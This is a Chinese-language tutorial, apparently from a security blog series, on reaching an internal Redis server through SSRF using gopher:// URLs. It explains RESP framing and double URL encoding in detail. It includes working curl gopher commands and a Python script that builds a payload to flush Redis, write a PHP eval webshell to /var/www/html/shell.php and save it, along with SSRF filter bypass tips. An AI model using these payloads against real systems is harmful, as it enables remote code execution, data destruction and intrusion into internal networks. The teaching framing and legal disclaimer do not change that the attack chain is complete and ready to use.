本文为教学用途,所有复现均在作者自建靶场内完成。请勿在未授权的情况下对真实系统进行测试。 根据《网络安全法》,未经授权测试、攻击他人系统属于违法犯罪行为。禁止复制本文Payload 对外部站点进行测试,违规使用造成的一切后果由使用者自行负责。
上一篇的场景是"攻击机能直连 Redis"。但真实内网里,Redis 常只监听内网 IP(
bind 10.10.10.5),攻击机连不上------此时攻击通常借道一台能访问内网的 Web 服务器(SSRF)。
SSRF 为什么"天然够不到"Redis,瓶颈到底在哪;
RESP 协议逐字节看懂(这是 gopher payload 的核心);
从"命令"到"gopher URL"每一步如何推出来;
"双重 URL 编码"到底在编码什么、哪一层吃掉了什么。
建议与《SSRF 下篇》配合阅读:那边重 SSRF 链路上游(找点、绕 WAF、302),本篇重"Redis 侧 payload 为什么长这样"。
1. 问题拆解:为什么 SSRF 打 Redis 需要 gopher
1.1 SSRF 是什么(一句话 + 一个图)
服务端请求伪造 :Web 应用接收用户给的 URL,由服务器 去请求这个 URL,但没校验目标。
攻击者 Web服务器(有SSRF) 内网
│ 传入 url=http://内网A/xxx │ │
└──────────────────────────► │── 服务器替我去请求 ──► 内网A
│ ← 服务器帮我们"出网" │
好处:流量从服务器发出 。内网 Redis 只信任来自这台 Web 服务器的连接(甚至只 bind 内网),攻击机直连被防火墙挡,但这台服务器能连到 Redis。
1.2 瓶颈:Redis 不说 HTTP 话
Web 服务器请求 URL 时,最常用协议是 http://。但 Redis 的服务端不解析 HTTP------你发过去:
GET / HTTP/1.1
Host: ...
Redis 会怎么回?
它把收到的每一行当"内联命令"解析,第一行 GET / HTTP/1.1 会被当成一个带 3 个参数的 GET 命令......然后大概率回错误(比如 -ERR wrong number of arguments),根本达不到我们想要的"执行命令"。
那为什么有些人用 http 也能打通?
有几种边缘情况:
a) 某些 Redis 版本/配置对畸形输入宽容,能把 HTTP 头"歪打正着"当命令(很脆、不通用);
b) 场景其实是别的服务(不是纯 Redis)。稳定、可控的方式还是 gopher :它能让我们指定任意字节流,彻底绕开"Redis 只认 RESP 文本"的限制。
1.3 gopher 是什么
gopher 是一个比 HTTP 古老的信息检索协议 ,但它有个"副作用"被安全圈看中:gopher:// 支持把任意原始字节(经 URL 编码后)直接发给目标 TCP 端口。
gopher://目标IP:端口/_后跟URL编码的原始字节流
服务器按 gopher 解析时,会把 _ 后面URL 解码后的内容原样发到目标的 TCP 连接里 。所以:gopher://10.10.10.5:6379/_PING%0d%0a = 向 10.10.10.5 的 6379 端口发送 PING\r\n。
为什么前面要一个
_下划线?gopher 协议格式里
host:port后面第一个字符是"类型"(type),会被协议自己消耗掉 ,不发给目标。攻击者习惯放一个_(也有放1的)把它占掉,让真正的 payload 从后面开始。也可以理解为"占位符"。测试时可先发PING%0d%0a看能否 PONG,不行就加_再试(取决于 SSRF 点怎么拼接)。
2. RESP 协议:Redis 的"普通话"(payload 的语法)
2.1 什么是 RESP
RESP(REdis Serialization Protocol)是 Redis 客户端和服务器通信的协议,本质是 基于文本 + \r\n 换行 。我们只需要掌握"怎么把命令编码成字节"------因为 gopher 里我们要亲手写这些字节。
2.2 三种最常用的帧
| 帧 | 首字符 | 用途 | 例子(含 \r\n 的文本) |
|---|---|---|---|
| 简单字符串 | + |
服务器回 OK、PONG | +OK\r\n |
| 错误 | - |
服务器回错误 | -ERR ...\r\n |
| 整型 | : |
返回数字 | :1\r\n |
| 批量字符串 | $ |
长度前缀 + 内容 | $3\r\nbar\r\n |
| 数组 | * |
命令参数列表 | *3\r\n... |
发命令时用的是"数组"帧:Redis 把"一条命令"看成"一串字符串"。
2.3 一条命令的完整编码(逐字节拆解)
以 SET k1 v1 为例:
它由 3 个参数组成: SET 、 k1 、 v1
所以是: *3\r\n
然后每个参数: $长度\r\n内容\r\n
$3\r\nSET\r\n
$2\r\nk1\r\n
$2\r\nv1\r\n
拼起来就是(␍␊ 表示 \r\n):
*3␍␊$3␍␊SET␍␊$2␍␊k1␍␊$2␍␊v1␍␊
2.4 用命令对照表(以后查着写)
| Redis 命令 | RESP 编码(payload 原文) |
|---|---|
PING |
*1\r\n$4\r\nPING\r\n |
SET k1 v1 |
*3\r\n$3\r\nSET\r\n$2\r\nk1\r\n$2\r\nv1\r\n |
GET k1 |
*2\r\n$3\r\nGET\r\n$2\r\nk1\r\n |
CONFIG SET dir /tmp |
*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$4\r\n/tmp\r\n |
FLUSHALL |
*1\r\n$8\r\nFLUSHALL\r\n |
SET shell <?php ...?> |
注意:value 里含 ? $ 等字符不影响长度规则,长度按字节数算 |
数长度时,数字、字母、特殊字符都各算 1 字节;中文按 UTF-8 是 3 字节(一般 payload 不用中文,可忽略)。
3. 从"命令"到"gopher URL":两层编码的完整推演
3.1 为什么还要再编码一次?
RESP 文本里有大量 \r\n、$、*。而 URL 里:
-
控制字符(
\r\n)不能直接出现 ,必须用%0d%0a编码; -
有些字符有特殊含义(
?#&等),直接放可能被解析成 URL 的一部分。
所以我们要把 RESP 文本 逐字节 URL 编码后再塞进 gopher URL。
3.2 手工推演例子:发一条 PING
第1步:决定命令字节流
PING\r\n (内联也行,数组也行,见下)
第2步:URL 编码
%0d 是 \r,%0a 是 \n
PING\r\n → PING%0d%0a
第3步:拼成 gopher URL
gopher://10.10.10.5:6379/_PING%0d%0a
用数组形式发 PING 也一样:
*1\r\n$4\r\nPING\r\n
→ URL 编码时:*1%0d%0a%244%0d%0aPING%0d%0a
($ 编码成 %24)
→ gopher://10.10.10.5:6379/_*1%0d%0a%244%0d%0aPING%0d%0a
内联还是数组?
哪种好?
PING\r\n(内联)少写很多,探测友好。但含空格的命令 (如CONFIG SET dir /tmp)必须用数组形式区分参数,否则 Redis 把整行当一个命令名。规范做法:所有命令都写成数组形式,最不容易出错。
3.3 为什么会有"双重 URL 编码"
原理:你的 payload 每经过一层"会解析 URL 的中间人",就可能被解码一次。
典型链路:
攻击者构造 gopher URL
└─► Web应用接收 url 参数(此时它可能已经 urldecode 一次)
└─► 服务器(SSRF) 用该 url 发起请求(这次也会把 %xx 解一次再发)
└─► 最终到 Redis 的字节流
如果中间某层已经把 %0d 解码成真实回车符 ,那么后面一层再解码时,回车符里不会再含 %,于是你就少了一层编码,最终到 Redis 的不是完整 payload。
**那我怎么知道要编码几层?**做法:
先发一层编码的 payload,看目标 Redis 有没有反应(
INFO/CONFIG回显 / 端口行为 / 响应差异);没反应/报错,就试二层编码 :把 payload 里的
%再编成%25(%0d→%250d);逐层往上加,直到命中。
常见"双层编码"示例:如果 SSRF 点会先把参数 urldecode 一次再交给发起请求的库(该库内部再解一次),则 payload 里的
%0d%0a要写成%250d%250a。
3.4 实操:用 curl 模拟"能发 gopher 的 SSRF 点"验证
先在本机验证 payload 语法对不对(把目标指向自己的 Redis,绕过 SSRF 中间层直接测 gopher):
# 用 --noproxy 避免本机代理干扰(代理会把 gopher 吃掉)
env -u ALL_PROXY -u all_proxy curl -s --noproxy '*' \
"gopher://127.0.0.1:6379/_PING%0d%0a"
# 输出: +PONG\r\n (用 od -c 看得更清楚)
# 发一条 SET(数组形式)
env -u ALL_PROXY -u all_proxy curl -s --noproxy '*' \
"gopher://127.0.0.1:6379/_*3%0d%0a%243%0d%0aSET%0d%0a%242%0d%0agk%0d%0a%242%0d%0agv%0d%0a"
# 输出: +OK\r\n
# 回读验证是否真的写进去了
redis-cli GET gk # 应输出 gv
本机 curl 直连没问题 → 说明 payload 本身正确;到了真实 SSRF 点不生效 → 问题在中间层/编码层数,而不是命令写错。
4. 在内网写 WebShell 的完整链路(串联前面所有知识)
把上一篇的"写 WebShell"命令,全部翻译成 gopher payload,一条条拼进 gopher URL(用 \r\n 或数组形式均可)。下面是思想演示,用数组形式逐步叠加:
# 命令1:清库(让落盘的 rdb 干净些)
FLUSHALL
# 命令2:把一句话木马写进 key
SET shell <?php @eval($_POST["x"]);?>
# 命令3:dir 指到 web 根目录
CONFIG SET dir /var/www/html/
# 命令4:改文件名
CONFIG SET dbfilename shell.php
# 命令5:落盘
BGSAVE
在 Python 里自动把"多条命令"打包成一个 RESP 字节流再编码(这就是为什么安全圈用 Python 脚本而不是手拼 URL):
import urllib.parse
def build_payload(commands):
# commands: list of list,如 [["SET","shell","<?php...?>"]]
out = b""
for cmd in commands:
out += b"*%d\r\n" % len(cmd)
for arg in cmd:
arg = arg.encode()
out += b"$%d\r\n%s\r\n" % (len(arg), arg)
return out
payload = build_payload([
["FLUSHALL"],
["SET", "shell", "<?php @eval($_POST['x']);?>"],
["CONFIG", "SET", "dir", "/var/www/html/"],
["CONFIG", "SET", "dbfilename", "shell.php"],
["BGSAVE"],
])
gopher_url = "gopher://10.10.10.5:6379/_" + urllib.parse.quote(payload)
print(gopher_url)
# 到真实 SSRF 点时,如果只通单层编码,直接用它;
# 若需双层,再 quote 一次:
gopher_url2 = "gopher://10.10.10.5:6379/_" + urllib.parse.quote(payload).replace("%","%25")
为什么抓包/回显里经常看不到 OK 也能算成功?
很多 SSRF 点不回显 Redis 的响应(或 gopher 响应被吞)。判断成功不一定看回显------去访问 WebShell(curl 那个 .php)或者看目标行为变化。这也是"间接验证"的思维。
BGSAVE 是后台,会不会还没落盘就返回?BGSAVE 是异步的,但命令本身立即返回。真正稳妥可等 1~2 秒再访问 WebShell。也可以改用
SAVE(同步、会阻塞),演示环境更"确定"。
5. 进阶:SSRF 点不支持 gopher / 只放行 http 怎么办
如果应用层只允许 http/https 协议,gopher 直接被拦,常用绕过思路(都在SSRF 系列里讲过,这里只点 Redis 相关):
-
302 跳转 :找一个目标内网可访问的、能返回 302 跳转到 gopher 的 URL(如某些开放重定向/跳转接口)。注意:很多 HTTP 客户端会跟随跳转并支持 gopher,但也要看客户端实现。
-
协议走私 :有的场景能把
gopher伪装成 http 前缀(大小写、换行注入)------取决于解析器,脆。 -
换别的可达服务:内网 Redis 连不上时,看看它旁边有没有同样能访问 Redis 的服务(比如某个用了 Redis 的应用端点),借它的手发命令------这已经是"打应用逻辑"了,超出本系列。
gopher 发出去 Redis 有响应,但页面全乱码/卡住?
正常。Redis 的 RESP 响应(
+OK$...)不是 HTML,SSRF 页面把它当网页回显自然乱;有的实现会一直等连接关闭。用--max-time限制超时,用响应前后差异判断成功。
6. 排查清单(按优先级)
| 现象 | 可能原因 | 验证/处理 |
|---|---|---|
| 完全没反应 | 层数不对 / 协议被拦 | 本地 curl 验证 payload → 逐层加编码 |
-ERR Protocol error |
RESP 长度写错 | 重数字节数($n 必须=内容字节数) |
-NOAUTH |
Redis 要密码 | 未授权不成立,换思路/爆破/找别的应用借道 |
-DENIED protected mode |
目标开保护模式 | Redis 打不了,回到 03 篇判断条件 |
| 能 PONG 但写文件失败 | dir 不可改 / 无权限 / 版本限制 | CONFIG SET dir 先探,不行转主从复刻 |
| 乱码/超时 | 响应非 HTML | 不靠回显,用副作用验证(访问 webshell) |
7. 本篇小结
-
SSRF 让服务器替我们访问内网 ;Redis 不认 HTTP,所以要用能发任意字节的 gopher。
-
RESP:命令 =
*数量\r\n+ 每个参数$长度\r\n内容\r\n;长度必须精确。 -
gopher URL =
gopher://ip:port/_+ URL 编码后的 RESP 字节流。 -
"双重 URL 编码"= 中间每层解码一次;到底编几层靠实验,不要硬背。
-
先本机验证 payload,再调真实 SSRF 点的编码层数,是效率最高的排错姿势。